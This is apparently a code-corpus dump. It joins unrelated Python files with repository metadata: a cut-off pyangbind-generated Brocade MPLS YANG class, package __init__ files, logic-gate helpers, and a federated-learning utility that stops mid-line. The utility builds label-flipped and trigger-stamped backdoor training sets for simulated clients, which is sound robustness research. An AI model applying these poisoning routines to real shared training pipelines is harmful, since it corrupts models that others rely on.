rest_name="ldp-fec-prefix-longer", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='prefix', extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-prefix-longer', u'cli-suppress-show-path': None}}), is_container='list', yang_name="ldp-fec-prefix-longer", rest_name="ldp-fec-prefix-longer", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-prefix-longer', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='list', is_config=False) def _get_ldp_fec_vcid(self): """ Getter method for ldp_fec_vcid, mapped from YANG variable /mpls_state/ldp/fec/ldp_fec_vcid (list) """ return self.__ldp_fec_vcid def _set_ldp_fec_vcid(self, v, load=False): """ Setter method for ldp_fec_vcid, mapped from YANG variable /mpls_state/ldp/fec/ldp_fec_vcid (list) If this variable is read-only (config: false) in the source YANG file, then _set_ldp_fec_vcid is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ldp_fec_vcid() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGListType("vc_id",ldp_fec_vcid.ldp_fec_vcid, yang_name="ldp-fec-vcid", rest_name="ldp-fec-vcid", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='vc-id', extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-vcid', u'cli-suppress-show-path': None}}), is_container='list', yang_name="ldp-fec-vcid", rest_name="ldp-fec-vcid", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-vcid', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='list', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ldp_fec_vcid must be of a type compatible with list""", 'defined-type': "list", 'generated-type': """YANGDynClass(base=YANGListType("vc_id",ldp_fec_vcid.ldp_fec_vcid, yang_name="ldp-fec-vcid", rest_name="ldp-fec-vcid", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='vc-id', extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-vcid', u'cli-suppress-show-path': None}}), is_container='list', yang_name="ldp-fec-vcid", rest_name="ldp-fec-vcid", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-vcid', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='list', is_config=False)""", }) self.__ldp_fec_vcid = t if hasattr(self, '_set'): self._set() def _unset_ldp_fec_vcid(self): self.__ldp_fec_vcid = YANGDynClass(base=YANGListType("vc_id",ldp_fec_vcid.ldp_fec_vcid, yang_name="ldp-fec-vcid", rest_name="ldp-fec-vcid", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='vc-id', extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-vcid', u'cli-suppress-show-path': None}}), is_container='list', yang_name="ldp-fec-vcid", rest_name="ldp-fec-vcid", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-vcid', u'cli-suppress-show-path': None}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='list', is_config=False) def _get_ldp_fec_prefix_prefix(self): """ Getter method for ldp_fec_prefix_prefix, mapped from YANG variable /mpls_state/ldp/fec/ldp_fec_prefix_prefix (container) """ return self.__ldp_fec_prefix_prefix def _set_ldp_fec_prefix_prefix(self, v, load=False): """ Setter method for ldp_fec_prefix_prefix, mapped from YANG variable /mpls_state/ldp/fec/ldp_fec_prefix_prefix (container) If this variable is read-only (config: false) in the source YANG file, then _set_ldp_fec_prefix_prefix is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ldp_fec_prefix_prefix() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=ldp_fec_prefix_prefix.ldp_fec_prefix_prefix, is_container='container', presence=False, yang_name="ldp-fec-prefix-prefix", rest_name="ldp-fec-prefix-prefix", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-prefix-prefix-ldp-fec-prefix-prefix-1'}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ldp_fec_prefix_prefix must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=ldp_fec_prefix_prefix.ldp_fec_prefix_prefix, is_container='container', presence=False, yang_name="ldp-fec-prefix-prefix", rest_name="ldp-fec-prefix-prefix", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-prefix-prefix-ldp-fec-prefix-prefix-1'}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='container', is_config=False)""", }) self.__ldp_fec_prefix_prefix = t if hasattr(self, '_set'): self._set() def _unset_ldp_fec_prefix_prefix(self): self.__ldp_fec_prefix_prefix = YANGDynClass(base=ldp_fec_prefix_prefix.ldp_fec_prefix_prefix, is_container='container', presence=False, yang_name="ldp-fec-prefix-prefix", rest_name="ldp-fec-prefix-prefix", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'mpls-ldp-fec-prefix-prefix-ldp-fec-prefix-prefix-1'}}, namespace='urn:brocade.com:mgmt:brocade-mpls-operational', defining_module='brocade-mpls-operational', yang_type='container', is_config=False) ldp_fec_summary = __builtin__.property(_get_ldp_fec_summary) ldp_fec_prefixes = __builtin__.property(_get_ldp_fec_prefixes) ldp_fec_vcs = __builtin__.property(_get_ldp_fec_vcs) ldp_fec_prefix_longer = __builtin__.property(_get_ldp_fec_prefix_longer) ldp_fec_vcid = __builtin__.property(_get_ldp_fec_vcid) ldp_fec_prefix_prefix = __builtin__.property(_get_ldp_fec_prefix_prefix) _pyangbind_elements = {'ldp_fec_summary': ldp_fec_summary, 'ldp_fec_prefixes': ldp_fec_prefixes, 'ldp_fec_vcs': ldp_fec_vcs, 'ldp_fec_prefix_longer': ldp_fec_prefix_longer, 'ldp_fec_vcid': ldp_fec_vcid, 'ldp_fec_prefix_prefix': ldp_fec_prefix_prefix, }

80.434641

838

0.750376

3,602

24,613

4.847029

0.048862

0.096569

0.065983

0.053611

0.895355

0.863967

0.848502

0.841056

0.833209

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0

0.000457

0.111648

24,613

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839

80.698361

0.798033

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0.030928

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0.108247

false

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0.072165

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0.298969

0

null

0

1

0

null

0

6

7c1c512188f642aff6c4c0164ec6a5c167c0b1eb

83

py

Python

torch_aesthetics/__init__.py

IsaacCorley/deep-aesthetics-pytorch

90efdd7590f5583c02ab6564e3795a20ad10c9bc

[ "MIT" ]

2

2021-03-27T03:20:07.000Z

2021-03-31T10:13:38.000Z

torch_aesthetics/__init__.py

IsaacCorley/deep-aesthetics-pytorch

90efdd7590f5583c02ab6564e3795a20ad10c9bc

[ "MIT" ]

null

torch_aesthetics/__init__.py

IsaacCorley/deep-aesthetics-pytorch

90efdd7590f5583c02ab6564e3795a20ad10c9bc

[ "MIT" ]

null

from . import aadb from . import metrics from . import losses from . import models

16.6

21

0.759036

12

83

5.25

0.5

0.634921

0

0.192771

83

4

22

20.75

0.940299

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

7c300a692934e4b8d572f762e0d026499163900c

99

py

Python

src/osim/env/__init__.py

hashhar/major-project

bb2ba80d8a5a38f26f67a2661d21fc5a1d90ce69

[ "MIT" ]

4

2019-01-02T05:57:47.000Z

2020-12-29T19:28:23.000Z

src/osim/env/__init__.py

hashhar/major-project

bb2ba80d8a5a38f26f67a2661d21fc5a1d90ce69

[ "MIT" ]

null

src/osim/env/__init__.py

hashhar/major-project

bb2ba80d8a5a38f26f67a2661d21fc5a1d90ce69

[ "MIT" ]

1

2021-01-05T17:06:05.000Z

from __future__ import absolute_import from .arm import * from .human import * from .osim import *

19.8

38

0.777778

14

99

5.142857

0.5

0.416667

0

0.161616

99

4

39

24.75

0.86747

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

7cc4496d0592ddd8b23b1964baa684006218ae35

498

py

Python

logiccircuit/logic.py

TINYT1ME/LogicCircuit

0a497d84a606c672a8bb3e7d55951835576a13e7

[ "MIT" ]

5

2021-11-16T04:12:35.000Z

2022-01-02T22:57:42.000Z

logiccircuit/logic.py

TINYT1ME/LogicCircuit

0a497d84a606c672a8bb3e7d55951835576a13e7

[ "MIT" ]

null

logiccircuit/logic.py

TINYT1ME/LogicCircuit

0a497d84a606c672a8bb3e7d55951835576a13e7

[ "MIT" ]

null

# Logic for all gates def not_gate_logic(inp): return not inp[0].value def and_gate_logic(inp): return inp[0].value and inp[1].value def nand_gate_logic(inp): return not (inp[0].value and inp[1].value) def or_gate_logic(inp): return inp[0].value or inp[1].value def nor_gate_logic(inp): return not (inp[0].value or inp[1].value) def xnor_gate_logic(inp): return inp[0].value is inp[1].value def xor_gate_logic(inp): return inp[0].value is not inp[1].value

16.6

46

0.686747

95

498

3.452632

0.2

0.192073

0.256098

0.384146

0.792683

0.682927

0

0.031941

0.182731

498

29

47

17.172414

0.773956

0.038153

0

1

0.5

false

0

0.5

1

0

null

0

1

0

1

0

null

0

1

0

1

0

6

7cc9e829e138c85a1a90772179412ec72f5b0123

34,162

py

Python

src/util.py

kppw99/UG_FedAVG

61f6fcfedfed1136b19c12a6603231cda884e22f

[ "MIT" ]

3

2021-09-23T02:10:17.000Z

2022-01-16T03:38:34.000Z

src/util.py

kppw99/Uncert_FedAVG

61f6fcfedfed1136b19c12a6603231cda884e22f

[ "MIT" ]

1

2022-02-25T08:03:34.000Z

src/util.py

kppw99/Uncert_FedAVG

61f6fcfedfed1136b19c12a6603231cda884e22f

[ "MIT" ]

1

2022-02-23T11:49:25.000Z

import gzip import random import pickle import argparse import numpy as np import pandas as pd from pathlib import Path from matplotlib import pyplot from scipy.stats import entropy import matplotlib.pyplot as plt import torch from torch.utils.data import TensorDataset from torch.utils.data import DataLoader from torch.utils.data import Dataset import torchvision.transforms as transforms import torchvision.datasets as datasets use_cuda = torch.cuda.is_available() class CustomTensorDataset(Dataset): """TensorDataset with support of transforms. """ def __init__(self, tensors, transform=None): assert all(tensors[0].size(0) == tensor.size(0) for tensor in tensors) self.tensors = tensors self.transform = transform def __getitem__(self, index): x = self.tensors[0][index] if self.transform: x = self.transform(x) y = self.tensors[1][index] return x, y def __len__(self): return self.tensors[0].size(0) def _split_and_shuffle_labels(y_data, seed): num_of_class = len(set(y_data.tolist())) y_data=pd.DataFrame(y_data, columns=['label']) y_data['index'] = np.arange(len(y_data)) label_dict = dict() cur_idx = list() for i in range(num_of_class): var_name = 'label' + str(i) label_info = y_data[y_data['label'] == i] np.random.seed(seed) label_info = np.random.permutation(label_info) label_info = pd.DataFrame(label_info, columns=['label', 'index']) label_dict.update({var_name: label_info }) cur_idx.append(0) return label_dict, cur_idx def _get_iid_subsamples_indices(y_data, number_of_samples, seed): num_of_class = len(set(y_data.tolist())) label_dict, cur_idx = _split_and_shuffle_labels(y_data, seed) sample_dict = dict() dist = 1.0 / num_of_class for i in range(number_of_samples): sample_name = 'sample' + str(i) dumb = pd.DataFrame() for j in range(num_of_class): label_name = str('label') + str(j) if i == (number_of_samples - 1): next_idx = len(label_dict[label_name]) else: next_idx = int(len(label_dict[label_name]) * dist) next_idx += cur_idx[j] temp = label_dict[label_name][cur_idx[j]:next_idx] dumb=pd.concat([dumb, temp], axis=0) cur_idx[j] = next_idx dumb.reset_index(drop=True, inplace=True) sample_dict.update({sample_name: dumb}) return sample_dict def _get_non_iid_subsamples_indices(y_data, number_of_samples, pdist, seed): num_of_class = len(set(y_data.tolist())) label_dict, cur_idx = _split_and_shuffle_labels(y_data, seed) sample_dict = dict() for i in range(number_of_samples): sample_name = 'sample' + str(i) dumb = pd.DataFrame() dist1 = pdist * (2 / 3) dist2 = pdist - dist1 dist3 = (1.0 - pdist) / (num_of_class - 2) for j in range(num_of_class): label_name = str('label') + str(j) dist = dist1 if j == i else dist2 if (j % 5) == (i % 5) else dist3 if i == (number_of_samples - 1): next_idx = len(label_dict[label_name]) else: next_idx = int(len(label_dict[label_name]) * dist) next_idx += cur_idx[j] temp = label_dict[label_name][cur_idx[j]:next_idx] dumb = pd.concat([dumb, temp], axis=0) cur_idx[j] = next_idx dumb.reset_index(drop=True, inplace=True) sample_dict.update({sample_name: dumb}) return sample_dict def _create_subsamples(sample_dict, x_data, y_data, x_name, y_name): x_data_dict = dict() y_data_dict = dict() for i in range(len(sample_dict)): ### len(sample_dict)= number of samples xname = x_name + str(i) yname = y_name + str(i) sample_name = "sample" + str(i) indices = np.sort(np.array(sample_dict[sample_name]['index'])) x_info = x_data[indices, :] if torch.cuda.is_available(): x_info = x_info.cuda() x_data_dict.update({xname: x_info}) y_info = y_data[indices] if torch.cuda.is_available(): y_info = y_info.cuda() y_data_dict.update({yname: y_info}) return x_data_dict, y_data_dict def _add_bd_pattern(x, start_idx=1, size=5, show=False): temp_x = x.reshape(28, 28) # trigger pattern (plus) for i in range(start_idx, start_idx + size): temp_x[i][(start_idx + size) // 2] = 1.0 # vertical line temp_x[(start_idx + size) // 2][i] = 1.0 # horizontal line if show is True: plt.imshow(temp_x) plt.show() return temp_x.reshape(1, 28, 28) def _add_bd_pattern_cifar10(x, start_idx=1, size=5, show=False): temp_x = np.transpose(x, (1, 2, 0)) for i in range(2): for j in range(start_idx, start_idx + size): temp_x[j][(start_idx + size) // 2][i] = 1.0 temp_x[(start_idx + size) // 2][j][i] = 1.0 if show is True: plt.imshow(temp_x) plt.show() return np.transpose(temp_x, (2, 0, 1)) def _add_bd_pattern_fmnist(x, start_idx=1, size=5, show=False): # trigger pattern (plus) for i in range(start_idx, start_idx + size): x[i][((start_idx + size) // 2) - 1] = 255.0 # vertical line x[i][((start_idx + size) // 2) + 1] = 255.0 # vertical line x[((start_idx + size) // 2) - 1][i] = 255.0 # horizontal line x[((start_idx + size) // 2) + 1][i] = 255.0 # horizontal line if show is True: plt.imshow(x) plt.show() return x def _create_corrupted_subsamples(sample_dict, x_data, y_data, x_name, y_name, cor_local_ratio=1.0, cor_label_ratio=0.2, cor_data_ratio=0.5, mode=1): x_data_dict = dict() y_data_dict = dict() # make corrupted info num_of_local = len(sample_dict) num_of_label = len(set(y_data.tolist())) cor_local_idx = random.sample(range(0, num_of_local), int(num_of_local * cor_local_ratio)) cor_label_idx = random.sample(range(0, num_of_label), int(num_of_label * cor_label_ratio)) temp = set(y_data.tolist()) temp.difference_update(cor_label_idx) print('[*] Corrupted Label') if mode == 1: temp = list(temp) cor_vals = random.sample(temp, int(num_of_label * cor_label_ratio)) print(cor_label_idx, '->', cor_vals) else: print(cor_label_idx, '-> random value') print('') for i in range(len(sample_dict)): ### len(sample_dict)= number of samples xname = x_name + str(i) yname = y_name + str(i) sample_name = "sample" + str(i) indices = np.sort(np.array(sample_dict[sample_name]['index'])) x_info = x_data[indices, :] if torch.cuda.is_available(): x_info = x_info.cuda() x_data_dict.update({xname: x_info}) y_info = y_data[indices] if i in cor_local_idx: val_cnt = 0 for j in cor_label_idx: temp_dices = np.where(y_info == j)[0] cor_data_len = int(len(temp_dices) * cor_data_ratio) corrupted_idx = random.sample(list(temp_dices), cor_data_len) if mode == 1: y_info[corrupted_idx] = cor_vals[val_cnt] val_cnt = val_cnt + 1 else: for i in corrupted_idx: temp_x = temp ori_val = y_info[i].item() temp_x.difference_update([ori_val]) y_info[i] = random.sample(temp_x, 1)[0] if torch.cuda.is_available(): y_info = y_info.cuda() y_data_dict.update({yname: y_info}) return x_data_dict, y_data_dict def _create_backdoor_subsamples(sample_dict, x_data, y_data, x_name, y_name, cor_label_idx, target_label, cor_local_ratio=1.0, cor_data_ratio=0.5, dataset='mnist'): x_data_dict = dict() y_data_dict = dict() # make corrupted info num_of_local = len(sample_dict) cor_local_idx = random.sample(range(0, num_of_local), int(num_of_local * cor_local_ratio)) # len(sample_dict) is a number of client for i in range(len(sample_dict)): xname = x_name + str(i) yname = y_name + str(i) sample_name = "sample" + str(i) indices = np.sort(np.array(sample_dict[sample_name]['index'])) x_info = x_data[indices, :] y_info = y_data[indices] if i in cor_local_idx: for j in cor_label_idx: temp_dices = np.where(y_info == j)[0] cor_data_len = int(len(temp_dices) * cor_data_ratio) corrupted_idx = random.sample(list(temp_dices), cor_data_len) y_info[corrupted_idx] = target_label for idx in corrupted_idx: if dataset=='mnist': x_info[idx] = _add_bd_pattern(x_info[idx]) elif dataset=='fmnist': x_info[idx] = _add_bd_pattern_fmnist(x_info[idx]) elif dataset=='cifar10': x_info[idx] = _add_bd_pattern_cifar10(x_info[idx]) if torch.cuda.is_available(): x_info = x_info.cuda() y_info = y_info.cuda() x_data_dict.update({xname: x_info}) y_data_dict.update({yname: y_info}) return x_data_dict, y_data_dict def _create_backdoor_subsamples2(sample_dict, x_data, y_data, x_name, y_name, cor_local_idx, cor_label_idx, target_label, cor_major_data_ratio=0.2, cor_minor_data_ratio=0.5, dataset='mnist'): x_data_dict = dict() y_data_dict = dict() num_of_label = len(set(y_data.tolist())) major_cnt = 0 minor_cnt = 0 for i in range(len(sample_dict)): ### len(sample_dict)= number of samples xname = x_name + str(i) yname = y_name + str(i) sample_name = "sample" + str(i) indices = np.sort(np.array(sample_dict[sample_name]['index'])) x_info = x_data[indices, :] y_info = y_data[indices] temp_label_idx = cor_label_idx.copy() if i in cor_local_idx: cor_major_label_idx = list() cor_major_label_idx.append(i) cor_major_label_idx.append((i + 5) % num_of_label) for j in cor_major_label_idx: if j in temp_label_idx: temp_dices = np.where(y_info == j)[0] cor_data_len = int(len(temp_dices) * cor_major_data_ratio) corrupted_idx = random.sample(list(temp_dices), cor_data_len) y_info[corrupted_idx] = target_label for idx in corrupted_idx: if dataset == 'mnist': x_info[idx] = _add_bd_pattern(x_info[idx]) elif dataset == 'fmnist': x_info[idx] = _add_bd_pattern_fmnist(x_info[idx]) elif dataset == 'cifar10': x_info[idx] = _add_bd_pattern_cifar10(x_info[idx]) major_cnt += 1 temp_label_idx.remove(j) for j in temp_label_idx: temp_dices = np.where(y_info == j)[0] cor_data_len = int(len(temp_dices) * cor_minor_data_ratio) corrupted_idx = random.sample(list(temp_dices), cor_data_len) y_info[corrupted_idx] = target_label for idx in corrupted_idx: if dataset == 'mnist': x_info[idx] = _add_bd_pattern(x_info[idx]) elif dataset=='fmnist': x_info[idx] = _add_bd_pattern_fmnist(x_info[idx]) elif dataset == 'cifar10': x_info[idx] = _add_bd_pattern_cifar10(x_info[idx]) minor_cnt += 1 if torch.cuda.is_available(): x_info = x_info.cuda() y_info = y_info.cuda() x_data_dict.update({xname: x_info}) y_data_dict.update({yname: y_info}) print('backdoor cnt:', major_cnt, minor_cnt) print('cor_label_idx:', cor_label_idx) print('') return x_data_dict, y_data_dict def _create_corrupted_subsamples2(sample_dict, x_data, y_data, x_name, y_name, cor_local_ratio=1.0, cor_minor_label_cnt=4, cor_major_data_ratio=0.2, cor_minor_data_ratio=0.5, mode=1): x_data_dict = dict() y_data_dict = dict() # make corrupted info num_of_local = len(sample_dict) num_of_label = len(set(y_data.tolist())) cor_local_idx = random.sample(range(0, num_of_local), int(num_of_local * cor_local_ratio)) for i in range(len(sample_dict)): ### len(sample_dict)= number of samples xname = x_name + str(i) yname = y_name + str(i) sample_name = "sample" + str(i) indices = np.sort(np.array(sample_dict[sample_name]['index'])) x_info = x_data[indices, :] if torch.cuda.is_available(): x_info = x_info.cuda() x_data_dict.update({xname: x_info}) y_info = y_data[indices] if i in cor_local_idx: cor_major_label_idx = list() cor_major_label_idx.append(i) cor_major_label_idx.append((i + 5) % num_of_label) for j in cor_major_label_idx: temp_dices = np.where(y_info == j)[0] cor_data_len = int(len(temp_dices) * cor_major_data_ratio) corrupted_idx = random.sample(list(temp_dices), cor_data_len) ori_val = y_info[corrupted_idx][0] y_info[corrupted_idx] = (ori_val + 5) % num_of_label temp = set(y_data.tolist()) temp.difference_update(cor_major_label_idx) cor_minor_label_idx = random.sample(temp, cor_minor_label_cnt) temp.difference_update(cor_minor_label_idx) cor_minor_vals = random.sample(temp, cor_minor_label_cnt) print(cor_major_label_idx, '|', cor_minor_label_idx, '->', cor_minor_vals) val_cnt = 0 for j in cor_minor_label_idx: temp_dices = np.where(y_info == j)[0] cor_data_len = int(len(temp_dices) * cor_minor_data_ratio) corrupted_idx = random.sample(list(temp_dices), cor_data_len) if mode == 1: y_info[corrupted_idx] = cor_minor_vals[val_cnt] val_cnt = val_cnt + 1 else: cor_minor_vals = list() for i in corrupted_idx: temp_x = temp ori_val = y_info[i].item() temp_x.difference_update([ori_val]) y_info[i] = random.sample(temp_x, 1)[0] if torch.cuda.is_available(): y_info = y_info.cuda() y_data_dict.update({yname: y_info}) return x_data_dict, y_data_dict def _print_dict(x_train_dict, y_train_dict, x_test_dict, y_test_dict, x_val_dict=None, y_val_dict=None): sum = 0 print('[*] Train Dataset (x, y)') for idx, (x_key, y_key) in enumerate(zip(x_train_dict, y_train_dict)): sum += len(x_train_dict[x_key]) print('- sample{}: {}, {}'.format(idx, len(x_train_dict[x_key]), len(y_train_dict[y_key]))) print(': ', end='') for i in range(10): print(y_train_dict[y_key].tolist().count(i), end=' ') print('') print('# total:', sum, end='\n\n') sum = 0 print('[*] Test Dataset (x, y)') for idx, (x_key, y_key) in enumerate(zip(x_test_dict, y_test_dict)): sum += len(x_test_dict[x_key]) print('- sample{}: {}, {}'.format(idx, len(x_test_dict[x_key]), len(y_test_dict[y_key]))) print(': ', end='') for i in range(10): print(y_test_dict[y_key].tolist().count(i), end=' ') print('') print('# total:', sum, end='\n\n') if x_val_dict is not None: sum = 0 print('[*] Valid Dataset (x, y)') for idx, (x_key, y_key) in enumerate(zip(x_val_dict, y_val_dict)): sum += len(x_val_dict[x_key]) print('- sample{}: {}, {}'.format(idx, len(x_val_dict[x_key]), len(y_val_dict[y_key]))) print(': ', end='') for i in range(10): print(y_val_dict[y_key].tolist().count(i), end=' ') print('') print('# total:', sum, end='\n\n') def _load_data(path='../data/mnist.pkl.gz', seed=1, torch_tensor=True, pre_train=False): data_path = Path(path) with gzip.open(data_path, "rb") as f: ((x_train, y_train), (x_test, y_test)) = pickle.load(f) if pre_train: pre_rate = 0.05 train_size = len(x_train) pre_data_size = int(train_size * pre_rate) np.random.seed(seed) shuffled_indices = np.random.permutation(train_size) pre_indices = shuffled_indices[:pre_data_size] tr_indices = shuffled_indices[pre_data_size:] x_pre_train = x_train[pre_indices] y_pre_train = y_train[pre_indices] x_train = x_train[tr_indices] y_train = y_train[tr_indices] if torch_tensor: x_train, y_train, x_test, y_test, x_pre_train, y_pre_train =\ map(torch.tensor, (x_train, y_train, x_test, y_test, x_pre_train, y_pre_train)) return x_train, y_train, x_test, y_test, x_pre_train, y_pre_train else: if torch_tensor: x_train, y_train, x_test, y_test = map(torch.tensor, (x_train, y_train, x_test, y_test)) return x_train, y_train, x_test, y_test, None, None def load_data(data='mnist', seed=1, torch_tensor=True, pre_train=False): if data=='mnist' or data=='fmnist': path='../data/' + data + '.pkl.gz' tr_X, tr_y, te_X, te_y, pre_X, pre_y = _load_data(path, seed, torch_tensor, pre_train) if pre_train: print(tr_X.shape, tr_y.shape, te_X.shape, te_y.shape, pre_X.shape, pre_y.shape) else: print(tr_X.shape, tr_y.shape, te_X.shape, te_y.shape) return tr_X, tr_y, te_X, te_y, pre_X, pre_y elif data=='cifar10': path = '../data/cifar10.pkl.gz' tr_X, tr_y, te_X, te_y, pre_X, pre_y = _load_data(path, seed, torch_tensor, pre_train) tr_X = np.transpose(tr_X, (0, 3, 1, 2)) te_X = np.transpose(te_X, (0, 3, 1, 2)) tr_y = torch.tensor(tr_y.detach().clone().reshape(-1), dtype=torch.int64) te_y = torch.tensor(te_y.detach().clone().reshape(-1), dtype=torch.int64) if pre_train: pre_X = np.transpose(te_X, (0, 3, 1, 2)) print(tr_X.shape, tr_y.shape, te_X.shape, te_y.shape, pre_X.shape, pre_y.shape) else: print(tr_X.shape, tr_y.shape, te_X.shape, te_y.shape) return tr_X, tr_y, te_X, te_y, pre_X, pre_y else: print('Please check the data name!:', data) return None, None, None, None, None, None def create_non_iid_samples(x_train, y_train, x_test, y_test, num_of_sample=10, pdist=0.6, seed=1, verbose=True): sample_dict_train = _get_non_iid_subsamples_indices(y_train, num_of_sample, pdist, seed) x_train_dict, y_train_dict = _create_subsamples(sample_dict_train, x_train, y_train, 'x_train', 'y_train') sample_dict_test = _get_non_iid_subsamples_indices(y_test, num_of_sample, pdist, seed) x_test_dict, y_test_dict = _create_subsamples(sample_dict_test, x_test, y_test, 'x_test', 'y_test') if verbose: _print_dict(x_train_dict, y_train_dict, x_test_dict, y_test_dict) return x_train_dict, y_train_dict, x_test_dict, y_test_dict def create_corrupted_non_iid_samples(x_train, y_train, x_test, y_test, cor_local_ratio=1.0, cor_minor_label_cnt=4, cor_major_data_ratio=0.2, cor_minor_data_ratio=0.5, mode=1, num_of_sample=10, pdist=0.6, seed=1, verbose=True, dataset='mnist'): sample_dict_train = _get_non_iid_subsamples_indices(y_train, num_of_sample, pdist, seed) x_train_dict, y_train_dict = _create_corrupted_subsamples2(sample_dict_train, x_train, y_train, 'x_train', 'y_train', cor_local_ratio, cor_minor_label_cnt, cor_major_data_ratio, cor_minor_data_ratio, mode) sample_dict_test = _get_non_iid_subsamples_indices(y_test, num_of_sample, pdist, seed) x_test_dict, y_test_dict = _create_subsamples(sample_dict_test, x_test, y_test, 'x_test', 'y_test') if verbose: _print_dict(x_train_dict, y_train_dict, x_test_dict, y_test_dict) return x_train_dict, y_train_dict, x_test_dict, y_test_dict def create_backdoor_non_iid_samples(x_train, y_train, x_test, y_test, target_label, cor_local_ratio=1.0, cor_minor_label_cnt=4, cor_major_data_ratio=0.2, cor_minor_data_ratio=0.5, num_of_sample=10, pdist=0.6, seed=1, verbose=True, dataset='mnist'): sample_dict_train = _get_non_iid_subsamples_indices(y_train, num_of_sample, pdist, seed) num_of_local = len(sample_dict_train) cor_local_idx = random.sample(range(0, num_of_local), int(num_of_local * cor_local_ratio)) num_of_label = len(set(y_train.tolist())) while(True): cor_label_idx = random.sample(range(0, num_of_label), cor_minor_label_cnt) if not target_label in cor_label_idx: break print('[*] Corrupted Label') print(cor_label_idx, '->', target_label) print('') x_train_dict, y_train_dict = _create_backdoor_subsamples2(sample_dict_train, x_train, y_train, 'x_train', 'y_train', cor_local_idx, cor_label_idx, target_label, cor_major_data_ratio, cor_minor_data_ratio, dataset) sample_dict_test = _get_non_iid_subsamples_indices(y_test, num_of_sample, pdist, seed) x_test_dict, y_test_dict = _create_subsamples(sample_dict_test, x_test, y_test, 'x_test', 'y_test') x_val_dict, y_val_dict = _create_backdoor_subsamples2(sample_dict_test, x_test, y_test, 'x_val', 'y_val', cor_local_idx, cor_label_idx, target_label, cor_major_data_ratio, cor_minor_data_ratio, dataset) if verbose: _print_dict(x_train_dict, y_train_dict, x_test_dict, y_test_dict, x_val_dict, y_val_dict) return x_train_dict, y_train_dict, x_test_dict, y_test_dict, x_val_dict, y_val_dict def create_iid_samples(x_train, y_train, x_test, y_test, num_of_sample=10, seed=1, verbose=True): sample_dict_train = _get_iid_subsamples_indices(y_train, num_of_sample, seed) x_train_dict, y_train_dict = _create_subsamples(sample_dict_train, x_train, y_train, 'x_train', 'y_train') sample_dict_test = _get_iid_subsamples_indices(y_test, num_of_sample, seed) x_test_dict, y_test_dict = _create_subsamples(sample_dict_test, x_test, y_test, 'x_test', 'y_test') if verbose: _print_dict(x_train_dict, y_train_dict, x_test_dict, y_test_dict) return x_train_dict, y_train_dict, x_test_dict, y_test_dict def create_corrupted_iid_samples(x_train, y_train, x_test, y_test, cor_local_ratio=1.0, cor_label_ratio=0.2, cor_data_ratio=0.5, mode=1, num_of_sample=10, seed=1, verbose=True, dataset='mnist'): sample_dict_train = _get_iid_subsamples_indices(y_train, num_of_sample, seed) x_train_dict, y_train_dict = _create_corrupted_subsamples(sample_dict_train, x_train, y_train, 'x_train', 'y_train', cor_local_ratio, cor_label_ratio, cor_data_ratio, mode) sample_dict_test = _get_iid_subsamples_indices(y_test, num_of_sample, seed) x_test_dict, y_test_dict = _create_subsamples(sample_dict_test, x_test, y_test, 'x_test', 'y_test') if verbose: _print_dict(x_train_dict, y_train_dict, x_test_dict, y_test_dict) return x_train_dict, y_train_dict, x_test_dict, y_test_dict def create_backdoor_iid_samples(x_train, y_train, x_test, y_test, cor_local_ratio=1.0, cor_label_ratio=0.2, cor_data_ratio=0.5, target_label=1, num_of_sample=10, seed=1, verbose=True, dataset='mnist'): sample_dict_train = _get_iid_subsamples_indices(y_train, num_of_sample, seed) num_of_label = len(set(y_train.tolist())) while(True): cor_label_idx = random.sample(range(0, num_of_label), int(num_of_label * cor_label_ratio)) if not target_label in cor_label_idx: break # temp = set(y_train.tolist()) # temp.difference_update(cor_label_idx) print('[*] Corrupted Label') print(cor_label_idx, '->', target_label) print('') x_train_dict, y_train_dict = _create_backdoor_subsamples(sample_dict_train, x_train, y_train, 'x_train', 'y_train', cor_label_idx, target_label, cor_local_ratio, cor_data_ratio, dataset) sample_dict_test = 